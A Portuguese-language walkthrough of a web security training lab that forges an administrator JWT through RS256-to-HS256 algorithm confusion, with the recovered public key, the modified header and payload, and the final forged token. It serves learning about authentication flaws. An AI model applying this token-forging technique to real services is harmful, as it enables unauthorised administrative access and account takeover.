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# Contorno de Autenticação JWT via Confusão de Algoritmo

### Bypass de autenticação JWT via confusão de algoritmo

**Descrição do laboratório**

Este laboratório usa um mecanismo de sessão baseado em JWT. / Os tokens normalmente são assinados e verificados usando um robusto **RSA** par de chaves. / No entanto, uma implementação ruim torna o aplicativo vulnerável a uma **confusão de algoritmo**.

Objetivo:

* Recupere a chave pública exposta pelo servidor por meio de um endpoint padrão.
* Use essa chave para forjar um JWT válido, permitindo acesso ao `/admin` painel de administração.
* Excluir usuário **carlos**.

Identificador fornecido:

* **wiener : peter**

**JWT inicial**

O cookie de sessão contém o seguinte JWT:

{% code overflow="wrap" %}

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoid2llbmVyIn0.H9bVHxG5sHp4pcgkshhKMCOmPg8nSbjANDKoovntBwnJn8plUuGNC4tE_Iam9fIXYiZxTc5DjpLp8vhizHN34nfs1E31EzA59kYf2qNzV7ZbCiIayJPv_jqfCmDz8tRB5wtMecb1R8PkDNZ4sszfXaqLjbDQYRd_BxDVx_Sq-mHOJkVlfdgdZtalYbTnkomyVibvFNpSotmCGRQnbs7bgYT-z0E__-0Nx2BVV_bIeElCfDcnuAZhvt768kp9VxP023wJ7O-7hJdRwvKaqREA2oxHNn2awWu6dXACp8NMfSP_T7GOIByC4Iqj2rc26JmTZW2loDicEOztvQo0ZQ_YCQ
```

{% endcode %}

**Recuperação da chave pública**

A chave pública do servidor está acessível por meio de:

* `/.well-known/jwks.json`
* ou `/jwks.json`

Conteúdo retornado (JWKS):

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
    }
  ]
}
```

{% endcode %}

<figure><img src="/files/f53da4f6d62f3f54e8cfec5355f903e5b15426df" alt=""><figcaption></figcaption></figure>

**Modificação do payload**

A carga útil do JWT é modificada para usurpar a conta de administrador:

```json
{
    "iss": "portswigger",
    "exp": 1767551470,
    "sub": "administrator"
}
```

Criação da chave RSA

<figure><img src="/files/c2fb9f8f8383d36439a3b52cdd848341a10edf62" alt=""><figcaption></figcaption></figure>

Copie e cole o arquivo jwks.json

```json
{
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
      "alg": "RS256",
      "n": "iQWjnDjzeQvu5t8YoeFo21Ez1xfEA-L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeuqDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4_iIIjn3WqsTb8l2YXG89ysdvXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj-95ZXa6HRkrGpF0TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC-k6OhDRhkKV3P3WLP5rZ34ZE-UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4-B-gAv-80GZBPbMRBT2oQ"
}
```

<figure><img src="/files/54f981edaa84e6cadb7172ae10a6434c0977140c" alt="" width="526"><figcaption></figcaption></figure>

**Conversão da chave pública**

<figure><img src="/files/2da0def1a67c7c3bcbc99517450c2b153cdcf35d" alt=""><figcaption></figcaption></figure>

A chave pública RSA é convertida para **PEM** formato:

```bash
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiQWjnDjzeQvu5t8YoeFo
21Ez1xfEA+L06C31G2BmqvZ5cQKKB9PD5Z6c8OxlhZDa9hNLDAIjiNzXHfX0HMeu
qDj71ERgq87mIOJwrPMEbE6xlNDslKeDOGHiypLK4/iIIjn3WqsTb8l2YXG89ysd
vXI9HL95hkVnQFh4SrI47pyMYQesbEz2MdXNVX4NcxHPaGStj+95ZXa6HRkrGpF0
TlrhEur2Yip1A9o9VFQezgzCubEVatPyJevEyqC+k6OhDRhkKV3P3WLP5rZ34ZE+
UjbGJQuhns8uV8XkHCllLLfnSaPlzc64Z6DrvWRbrMYy4+B+gAv+80GZBPbMRBT2
oQIDAQAB
-----END PUBLIC KEY-----

```

<figure><img src="/files/de7f82ff6af506ba00b1d0bb7dbbea298748be72" alt=""><figcaption></figcaption></figure>

Essa chave é então codificada em **Base64**.

```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```

**Crie uma chave simétrica (oct)**

A chave pública codificada em Base64 é usada como segredo HMAC:

```json
{
    "kty": "oct",
    "kid": "b164d13f-f42e-4d78-a539-fbb4b0eb267a",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFpUVdqbkRqemVRdnU1dDhZb2VGbwoyMUV6MXhmRUErTDA2QzMxRzJCbXF2WjVjUUtLQjlQRDVaNmM4T3hsaFpEYTloTkxEQUlqaU56WEhmWDBITWV1CnFEajcxRVJncTg3bUlPSndyUE1FYkU2eGxORHNsS2VET0dIaXlwTEs0L2lJSWpuM1dxc1RiOGwyWVhHODl5c2QKdlhJOUhMOTVoa1ZuUUZoNFNySTQ3cHlNWVFlc2JFejJNZFhOVlg0TmN4SFBhR1N0ais5NVpYYTZIUmtyR3BGMApUbHJoRXVyMllpcDFBOW85VkZRZXpnekN1YkVWYXRQeUpldkV5cUMrazZPaERSaGtLVjNQM1dMUDVyWjM0WkUrClVqYkdKUXVobnM4dVY4WGtIQ2xsTExmblNhUGx6YzY0WjZEcnZXUmJyTVl5NCtCK2dBdis4MEdaQlBiTVJCVDIKb1FJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```

<figure><img src="/files/3770792245d02ebb1f482a3bf11117be21f33b0c" alt=""><figcaption></figcaption></figure>

**Confusão de algoritmo**

O cabeçalho do JWT é modificado para forçar o uso de **HS256**:

```json
{
    "kid": "de55d831-bc27-4bca-9983-9a16a7b08d2d",
    "alg": "HS256"
}
```

O servidor então usa a chave pública RSA como segredo HMAC, o que permite assinar um JWT aceito como válido.

<figure><img src="/files/619f9ad42e79ad40534e5b183d02cfad6541892c" alt=""><figcaption></figcaption></figure>

\*\*JWT final forjado\*\*

```bash
eyJraWQiOiJkZTU1ZDgzMS1iYzI3LTRiY2EtOTk4My05YTE2YTdiMDhkMmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MTQ3MCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9._5C_qAZINXvvykAGhPVxUrWNxzyFnjsI49lONaKnk3A
```

Esse token dá acesso ao painel de administração, permitindo finalizar o laboratório removendo o usuário **carlos**.

<figure><img src="/files/c022e736ae601c70c62fbaa0e8db93e9f26b68ea" alt=""><figcaption></figcaption></figure>


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